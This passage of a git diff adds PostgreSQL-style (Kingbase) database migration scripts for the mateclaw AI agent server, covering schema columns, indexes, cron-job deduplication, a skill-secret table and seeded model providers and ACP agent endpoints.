= '钉钉机器人' + WHERE id = 1000000002 AND name = 'DingTalk Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name = '飞书机器人' + WHERE id = 1000000003 AND name = 'Feishu Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name = 'Telegram 机器人' + WHERE id = 1000000004 AND name = 'Telegram Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name = 'Discord 机器人' + WHERE id = 1000000005 AND name = 'Discord Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name = '企业微信机器人' + WHERE id = 1000000006 AND name = 'WeCom Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name = 'QQ 机器人' + WHERE id = 1000000007 AND name = 'QQ Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +-- id 1000000008 ("微信") already in Chinese; intentionally skipped. + +UPDATE mate_channel SET name = 'Slack 机器人' + WHERE id = 1000000009 AND name = 'Slack Bot' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V55__provider_enabled.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V55__provider_enabled.sql new file mode 100644 index 00000000..0aebcdd4 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V55__provider_enabled.sql @@ -0,0 +1,45 @@ +-- V55 (RFC-074): explicit user-enabled flag on providers. See H2 sibling for +-- the full rationale; this file only differs in dialect-specific syntax. +-- +-- MySQL lacks ADD COLUMN IF NOT EXISTS and CREATE INDEX IF NOT EXISTS — +-- guard via INFORMATION_SCHEMA + dynamic SQL so re-runs are no-ops. + +-- ── Add enabled column ─────────────────────────────────────────────────── +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'enabled' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN enabled BOOLEAN DEFAULT FALSE; + END IF; +END $$; + +-- ── Index supporting Rule 3's 30-day usage lookup ────────────────────────── +CREATE INDEX IF NOT EXISTS idx_message_runtime_provider_time ON mate_message (runtime_provider, create_time); + +-- ── Rule 1: real (non-masked, non-empty) API key → user is using it ──────── +UPDATE mate_model_provider + SET enabled = TRUE + WHERE api_key IS NOT NULL AND api_key <> '' AND POSITION('*' IN api_key) = 0; + +-- ── Rule 2: OAuth provider with token → user is using it ─────────────────── +UPDATE mate_model_provider + SET enabled = TRUE + WHERE oauth_access_token IS NOT NULL AND oauth_access_token <> ''; + +-- ── Rule 3: local provider with messages in last 30 days → user is using it ─ +UPDATE mate_model_provider + SET enabled = TRUE + WHERE is_local = TRUE + AND provider_id IN ( + SELECT DISTINCT runtime_provider + FROM mate_message + WHERE runtime_provider IS NOT NULL + AND create_time >= CURRENT_TIMESTAMP - INTERVAL '30 days' + ); + +-- ── Rule 4: provider whose model is the current default → user is using it ─ +UPDATE mate_model_provider + SET enabled = TRUE + WHERE provider_id IN (SELECT provider FROM mate_model_config WHERE is_default = TRUE); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V56__volcengine_plan_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V56__volcengine_plan_provider.sql new file mode 100644 index 00000000..853bc8a3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V56__volcengine_plan_provider.sql @@ -0,0 +1,29 @@ +-- V56: register Volcano Ark Coding Plan as a separate provider with its own +-- pre-seeded model catalog. See the H2 copy for full background. + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('volcengine-plan', 'Volcano Engine Coding Plan (火山方舟代码计划)', '', 'OpenAIChatModel', '', 'https://ark.cn-beijing.volces.com/api/coding/v3', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000320, 'Ark Coding Plan', 'volcengine-plan', 'ark-code-latest', '方舟代码计划旗舰模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000321, 'Doubao Seed Code', 'volcengine-plan', 'doubao-seed-code', '豆包代码模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000322, 'Doubao Seed Code Preview', 'volcengine-plan', 'doubao-seed-code-preview-251028', '豆包代码预览模型,256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000323, 'GLM 4.7 Coding', 'volcengine-plan', 'glm-4.7', 'GLM 4.7 编码版(火山方舟托管),200K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000324, 'Kimi K2 Thinking', 'volcengine-plan', 'kimi-k2-thinking', 'Kimi K2 推理版(火山方舟托管),256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000325, 'Kimi K2.5 Coding', 'volcengine-plan', 'kimi-k2.5', 'Kimi K2.5 编码版(火山方舟托管),256K 上下文', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V57__cron_run_delivery_status.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V57__cron_run_delivery_status.sql new file mode 100644 index 00000000..3a6acbdc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V57__cron_run_delivery_status.sql @@ -0,0 +1,38 @@ +-- RFC-063r §2.9: cron run delivery state machine (MySQL dialect). +-- See V57 H2 file for state-machine + design reasoning. +-- +-- MySQL has no ADD COLUMN IF NOT EXISTS / CREATE INDEX IF NOT EXISTS — +-- guard each statement via INFORMATION_SCHEMA + dynamic SQL (project pattern +-- previously used in V4/V19/V44). + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job_run' AND column_name = 'delivery_status' + ) THEN + ALTER TABLE mate_cron_job_run ADD COLUMN delivery_status VARCHAR(16) NOT NULL DEFAULT 'NONE'; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job_run' AND column_name = 'delivery_target' + ) THEN + ALTER TABLE mate_cron_job_run ADD COLUMN delivery_target VARCHAR(512); + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job_run' AND column_name = 'delivery_error' + ) THEN + ALTER TABLE mate_cron_job_run ADD COLUMN delivery_error VARCHAR(500); + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_cron_run_pending_started ON mate_cron_job_run (delivery_status, started_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V58__cron_channel_binding.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V58__cron_channel_binding.sql new file mode 100644 index 00000000..5380c9b4 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V58__cron_channel_binding.sql @@ -0,0 +1,23 @@ +-- RFC-063r §2.9: bind a cron job to its originating channel (MySQL dialect). + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job' AND column_name = 'channel_id' + ) THEN + ALTER TABLE mate_cron_job ADD COLUMN channel_id BIGINT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job' AND column_name = 'delivery_config' + ) THEN + ALTER TABLE mate_cron_job ADD COLUMN delivery_config TEXT; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_cron_channel ON mate_cron_job (channel_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V59__approval_chat_origin_snapshot.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V59__approval_chat_origin_snapshot.sql new file mode 100644 index 00000000..1da5a73f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V59__approval_chat_origin_snapshot.sql @@ -0,0 +1,11 @@ +-- RFC-063r §2.12: persist ChatOrigin Memento snapshot on approval (MySQL dialect). + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_tool_approval' AND column_name = 'chat_origin' + ) THEN + ALTER TABLE mate_tool_approval ADD COLUMN chat_origin TEXT; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V5__conversation_parent.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V5__conversation_parent.sql new file mode 100644 index 00000000..69fce697 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V5__conversation_parent.sql @@ -0,0 +1,13 @@ +-- V5: Add parent_conversation_id to mate_conversation for multi-agent delegation tracking +-- MySQL lacks ADD COLUMN IF NOT EXISTS / CREATE INDEX IF NOT EXISTS; use INFORMATION_SCHEMA guards. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_conversation' AND column_name = 'parent_conversation_id' + ) THEN + ALTER TABLE mate_conversation ADD COLUMN parent_conversation_id VARCHAR(64) DEFAULT NULL; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_conversation_parent ON mate_conversation (parent_conversation_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V60__fix_invalid_workspace_member_roles.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V60__fix_invalid_workspace_member_roles.sql new file mode 100644 index 00000000..c569cdb1 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V60__fix_invalid_workspace_member_roles.sql @@ -0,0 +1,26 @@ +-- RFC-076: clean up invalid workspace_member rows produced by the legacy +-- WorkspaceSchemaMigration.ensureDefaultWorkspaceMembership() insert +-- (issue: https://github.com/matevip/mateclaw/issues/29). + +-- 1) For users who already have a valid membership in another workspace, +-- drop their illegal default-workspace membership. +DELETE FROM mate_workspace_member +WHERE workspace_id = 1 + AND deleted = 0 + AND role NOT IN ('owner', 'admin', 'member', 'viewer') + AND user_id IN ( + SELECT user_id FROM ( + SELECT user_id FROM mate_workspace_member + WHERE workspace_id <> 1 + AND deleted = 0 + AND role IN ('owner', 'admin', 'member', 'viewer') + ) t + ); + +-- 2) For orphans whose only membership is the illegal default one, +-- normalize the role to 'member' so they don't get locked out entirely. +UPDATE mate_workspace_member +SET role = 'member', update_time = NOW() +WHERE workspace_id = 1 + AND deleted = 0 + AND role NOT IN ('owner', 'admin', 'member', 'viewer'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V61__agent_creator_user_id.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V61__agent_creator_user_id.sql new file mode 100644 index 00000000..6318259e --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V61__agent_creator_user_id.sql @@ -0,0 +1,14 @@ +-- RFC-077 §4.1: track which user created an Agent, so members can delete +-- their own Agents without needing workspace admin role (issue #26 Bug B). + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_agent' AND column_name = 'creator_user_id' + ) THEN + ALTER TABLE mate_agent ADD COLUMN creator_user_id BIGINT; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_agent_creator_user ON mate_agent (creator_user_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V62__cron_job_workspace_id.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V62__cron_job_workspace_id.sql new file mode 100644 index 00000000..d6d37530 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V62__cron_job_workspace_id.sql @@ -0,0 +1,14 @@ +-- RFC-083: workspace-isolate cron jobs +-- (issue: https://github.com/matevip/mateclaw/issues/37). + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_cron_job' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_cron_job ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_cron_job_workspace ON mate_cron_job (workspace_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V63__channel_identity_json.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V63__channel_identity_json.sql new file mode 100644 index 00000000..4e9b5274 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V63__channel_identity_json.sql @@ -0,0 +1,14 @@ +-- RFC-084 follow-up: persist the identity returned by ChannelVerifier so +-- the channel list can show "Connected as @MyBot" instead of generic +-- type-level descriptions. Populated on wizard create from VerificationResult; +-- refreshed by adapters on first successful connect. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_channel' AND column_name = 'identity_json' + ) THEN + ALTER TABLE mate_channel ADD COLUMN identity_json TEXT; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V64__cleanup_unused_channel_seeds.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V64__cleanup_unused_channel_seeds.sql new file mode 100644 index 00000000..36a6a076 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V64__cleanup_unused_channel_seeds.sql @@ -0,0 +1,10 @@ +-- RFC-084 follow-up: see h2/V64 for the rationale. MySQL accepts the +-- same DELETE directly — DELETE on no matching rows is a no-op, not an +-- error, so no INFORMATION_SCHEMA guard is needed. + +DELETE FROM mate_channel +WHERE id IN (1000000002, 1000000003, 1000000004, 1000000005, + 1000000006, 1000000007, 1000000008, 1000000009) + AND channel_type IN ('dingtalk', 'feishu', 'telegram', 'discord', + 'wecom', 'qq', 'weixin', 'slack') + AND enabled = FALSE; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V65__seed_tasks_conversation_per_workspace.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V65__seed_tasks_conversation_per_workspace.sql new file mode 100644 index 00000000..ce5b9c87 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V65__seed_tasks_conversation_per_workspace.sql @@ -0,0 +1,28 @@ +-- See h2/V65 for rationale. MySQL syntax differs only in the string +-- concatenation operator (CONCAT vs ||). + +INSERT INTO mate_conversation + (id, conversation_id, title, agent_id, username, message_count, + last_message, last_active_time, stream_status, workspace_id, + parent_conversation_id, create_time, update_time, deleted) +SELECT + 1000200000 + ws.id, + CONCAT('tasks_', ws.id), + '📋 定时任务', + NULL, + 'system', + 0, + NULL, + NOW(), + 'idle', + ws.id, + NULL, + NOW(), + NOW(), + 0 +FROM mate_workspace ws +WHERE ws.deleted = 0 + AND NOT EXISTS ( + SELECT 1 FROM mate_conversation c + WHERE c.conversation_id = CONCAT('tasks_', ws.id) AND c.deleted = 0 + ); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V66__add_model_capabilities.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V66__add_model_capabilities.sql new file mode 100644 index 00000000..4a38a512 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V66__add_model_capabilities.sql @@ -0,0 +1,11 @@ +-- V66: Per-model capability declaration (issue #44) +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_config' AND column_name = 'modalities' + ) THEN + ALTER TABLE mate_model_config ADD COLUMN modalities VARCHAR(512) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V67__add_skill_manifest.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V67__add_skill_manifest.sql new file mode 100644 index 00000000..315bef7c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V67__add_skill_manifest.sql @@ -0,0 +1,14 @@ +-- V67: Skill manifest_json column (RFC-090 Phase 2) +-- Stores the full parsed SKILL.md frontmatter as JSON. This becomes the +-- source of truth (RFC-090 §14.6); existing columns (skill_type, icon, +-- version, author) are kept as index projections, written by +-- SkillPackageResolver.projectManifestToColumns after each resolve. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'manifest_json' + ) THEN + ALTER TABLE mate_skill ADD COLUMN manifest_json TEXT; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V68__add_acp_endpoints.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V68__add_acp_endpoints.sql new file mode 100644 index 00000000..adde830f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V68__add_acp_endpoints.sql @@ -0,0 +1,43 @@ +-- V68: ACP (Agent Communication Protocol) endpoint registry (RFC-090 Phase 7) +-- See h2/V68 for column rationale; MySQL needs INSERT ... ON DUPLICATE KEY +-- and a unique index on name for the seed merge to be idempotent. +CREATE TABLE IF NOT EXISTS mate_acp_endpoint ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(64) NOT NULL, + display_name VARCHAR(128), + description TEXT, + command VARCHAR(256) NOT NULL, + args_json TEXT, + env_json TEXT, + tool_parse_mode VARCHAR(32) NOT NULL DEFAULT 'call_title', + builtin BOOLEAN NOT NULL DEFAULT FALSE, + trusted BOOLEAN NOT NULL DEFAULT TRUE, + enabled BOOLEAN NOT NULL DEFAULT FALSE, + stdio_buffer_limit_bytes BIGINT NOT NULL DEFAULT 52428800, + last_status VARCHAR(32), + last_tested_at TIMESTAMP, + last_error TEXT, + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_acp_endpoint_name ON mate_acp_endpoint (name); + +INSERT INTO mate_acp_endpoint + (id, name, display_name, description, command, args_json, env_json, + tool_parse_mode, builtin, trusted, enabled, + stdio_buffer_limit_bytes, workspace_id, create_time, update_time, deleted) +VALUES + (9100001, 'codex', 'OpenAI Codex CLI', 'Delegate to the Codex ACP agent via npx', 'npx', '["-y","@zed-industries/codex-acp"]', '{}', 'call_detail', TRUE, TRUE, FALSE, 52428800, 1, NOW(), NOW(), 0), + (9100002, 'claude-code', 'Claude Code', 'Delegate to Anthropic''s Claude Code agent via npx', 'npx', '["-y","@zed-industries/claude-agent-acp"]', '{}', 'update_detail', TRUE, TRUE, FALSE, 52428800, 1, NOW(), NOW(), 0), + (9100003, 'opencode', 'OpenCode', 'Delegate to OpenCode ACP agent (binary on PATH)', 'opencode', '["acp"]', '{}', 'update_detail', TRUE, TRUE, FALSE, 52428800, 1, NOW(), NOW(), 0), + (9100004, 'qwen-code', 'Qwen Code', 'Delegate to Qwen Code ACP agent (binary on PATH)', 'qwen', '["--acp"]', '{}', 'call_detail', TRUE, TRUE, FALSE, 52428800, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET display_name = EXCLUDED.display_name, + description = EXCLUDED.description, + command = EXCLUDED.command, + args_json = EXCLUDED.args_json, + tool_parse_mode = EXCLUDED.tool_parse_mode, + builtin = EXCLUDED.builtin, + trusted = EXCLUDED.trusted, + update_time = NOW(); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V69__cron_job_dedup_unique.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V69__cron_job_dedup_unique.sql new file mode 100644 index 00000000..38cf96fe --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V69__cron_job_dedup_unique.sql @@ -0,0 +1,16 @@ +-- Issue #50: deduplicate accumulated cron jobs and prevent future duplicates +-- at the DB level. PostgreSQL allows DELETE with subquery on the same table. +-- +-- Step 1 — purge duplicate active rows, keeping the earliest id per +-- (workspace_id, agent_id, name). Hard delete because this entity has no +-- @TableLogic; deleteById() already performs physical deletes. +DELETE FROM mate_cron_job +WHERE id NOT IN ( + SELECT MIN(id) + FROM mate_cron_job + GROUP BY workspace_id, agent_id, name +); + +-- Step 2 — add the unique index, idempotent via INFORMATION_SCHEMA guard +-- (MySQL < 8.0.29 has no CREATE INDEX IF NOT EXISTS). +CREATE UNIQUE INDEX IF NOT EXISTS uk_cron_job_workspace_agent_name ON mate_cron_job (workspace_id, agent_id, name); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V6__plugin_table.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V6__plugin_table.sql new file mode 100644 index 00000000..7e1d3068 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V6__plugin_table.sql @@ -0,0 +1,20 @@ +-- Plugin SDK: mate_plugin table +CREATE TABLE IF NOT EXISTS mate_plugin ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + version VARCHAR(32) NOT NULL, + plugin_type VARCHAR(32) NOT NULL, + display_name VARCHAR(128), + description TEXT, + author VARCHAR(128), + entrypoint VARCHAR(256) NOT NULL, + jar_path VARCHAR(512), + config_json TEXT NOT NULL DEFAULT ('{}'), + enabled BOOLEAN NOT NULL DEFAULT TRUE, + status VARCHAR(32) NOT NULL DEFAULT 'LOADED', + error_message TEXT, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_plugin_name ON mate_plugin (name); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V70__cron_job_dedup_safety.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V70__cron_job_dedup_safety.sql new file mode 100644 index 00000000..ee3cc2b9 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V70__cron_job_dedup_safety.sql @@ -0,0 +1,16 @@ +-- Issue #50 follow-up: see h2/V70 for rationale. MySQL doesn't allow +-- DELETE with a subquery scanning the same table directly, so use +-- the LEFT JOIN + IS NULL pattern. + +-- Step 1: physically purge any deleted=1 rows. +DELETE FROM mate_cron_job WHERE deleted = 1; + +-- Step 2: idempotent re-dedup against active rows only. +DELETE FROM mate_cron_job +WHERE deleted = 0 + AND id NOT IN ( + SELECT MIN(id) + FROM mate_cron_job + WHERE deleted = 0 + GROUP BY workspace_id, agent_id, name + ); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V71__hunyuan_3d_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V71__hunyuan_3d_provider.sql new file mode 100644 index 00000000..29d4d660 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V71__hunyuan_3d_provider.sql @@ -0,0 +1,23 @@ +-- V71: Register Tencent Hunyuan 3D provider for ai3d service. +-- See h2/V71 for full rationale. + +INSERT INTO mate_model_provider ( + provider_id, name, api_key_prefix, chat_model, api_key, base_url, + generate_kwargs, is_custom, is_local, support_model_discovery, + support_connection_check, freeze_url, require_api_key, auth_type, + create_time, update_time +) VALUES ('hunyuan-3d', '腾讯混元 3D', 'AKID', 'NotApplicable', '', 'https://ai3d.tencentcloudapi.com', '{"service":"ai3d","version":"2025-05-13","region":"ap-guangzhou"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, 'tc3_hmac_sha256', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET + name = EXCLUDED.name, + api_key_prefix = EXCLUDED.api_key_prefix, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + is_custom = EXCLUDED.is_custom, + is_local = EXCLUDED.is_local, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + auth_type = EXCLUDED.auth_type, + update_time = NOW(); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V72__hunyuan_3d_model_config.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V72__hunyuan_3d_model_config.sql new file mode 100644 index 00000000..735706a4 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V72__hunyuan_3d_model_config.sql @@ -0,0 +1,19 @@ +-- V72: Register Tencent Hunyuan 3D model variants. See h2/V72 for full rationale. + +INSERT INTO mate_model_config ( + id, name, provider, model_name, description, + temperature, max_tokens, top_p, builtin, enabled, is_default, + model_type, create_time, update_time, deleted +) VALUES + (1000000500, 'HY-3D-3.1', 'hunyuan-3d', 'HY-3D-3.1', '腾讯混元 3D 3.1 — 最高精度,支持 PBR / 多视角 / Geometry 白模等专业参数', NULL, NULL, NULL, TRUE, TRUE, TRUE, 'model3d', NOW(), NOW(), 0), + (1000000501, 'HY-3D-3.0', 'hunyuan-3d', 'HY-3D-3.0', '腾讯混元 3D 3.0 — 老一代 Pro 模型,与 3.1 共享 SubmitHunyuanTo3DProJob 调用', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'model3d', NOW(), NOW(), 0), + (1000000502, 'HY-3D-Express', 'hunyuan-3d', 'HY-3D-Express', '腾讯混元 3D 极速版 — 走 SubmitHunyuanTo3DRapidJob 接口,速度最快但仅支持 Prompt / ImageUrl', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'model3d', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + model_type = EXCLUDED.model_type, + update_time = NOW(); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V73__add_skill_secret.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V73__add_skill_secret.sql new file mode 100644 index 00000000..0340b3de --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V73__add_skill_secret.sql @@ -0,0 +1,23 @@ +-- V73: Per-skill encrypted secret store (RFC-091 settings bridge). +-- Holds AES-encrypted values for skill manifest fields with type=secret — +-- e.g. AIRTABLE_API_KEY for the airtable-base wizard template. The +-- runtime layer (SkillScriptExecutionService) decrypts and injects these +-- as environment variables when spawning skill subprocesses, so SKILL.md +-- bodies can reference them as plain $AIRTABLE_API_KEY without baking +-- the secret into the manifest. +-- +-- MySQL doesn't support ADD COLUMN IF NOT EXISTS; we get idempotency +-- via CREATE TABLE IF NOT EXISTS plus an INFORMATION_SCHEMA guard for +-- index creation. + +CREATE TABLE IF NOT EXISTS mate_skill_secret ( + id BIGINT NOT NULL PRIMARY KEY, + skill_id BIGINT NOT NULL, + secret_key VARCHAR(128) NOT NULL, + encrypted_value TEXT NOT NULL, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_skill_secret_key ON mate_skill_secret (skill_id, secret_key); +CREATE INDEX IF NOT EXISTS idx_skill_secret_skill ON mate_skill_secret (skill_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V74__shedlock_table.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V74__shedlock_table.sql new file mode 100644 index 00000000..bc262e84 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V74__shedlock_table.sql @@ -0,0 +1,16 @@ +-- V74: ShedLock distributed-lock table (RFC-03 Lane G2). +-- Backs the LockProvider configured in vip.mate.cron.config.ShedLockConfig +-- so a multi-instance deployment fires each cron job exactly once per tick. +-- Single-node setups are unaffected (acquiring the lock from the only node +-- always succeeds trivially). +-- +-- Schema is the canonical ShedLock layout from +-- https://github.com/lukas-krecan/ShedLock#configure-lockprovider. + +CREATE TABLE IF NOT EXISTS shedlock ( + name VARCHAR(64) NOT NULL, + lock_until TIMESTAMP(3) NOT NULL, + locked_at TIMESTAMP(3) NOT NULL, + locked_by VARCHAR(255) NOT NULL, + PRIMARY KEY (name) +); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V75__model_config_request_timeout.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V75__model_config_request_timeout.sql new file mode 100644 index 00000000..6a460660 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V75__model_config_request_timeout.sql 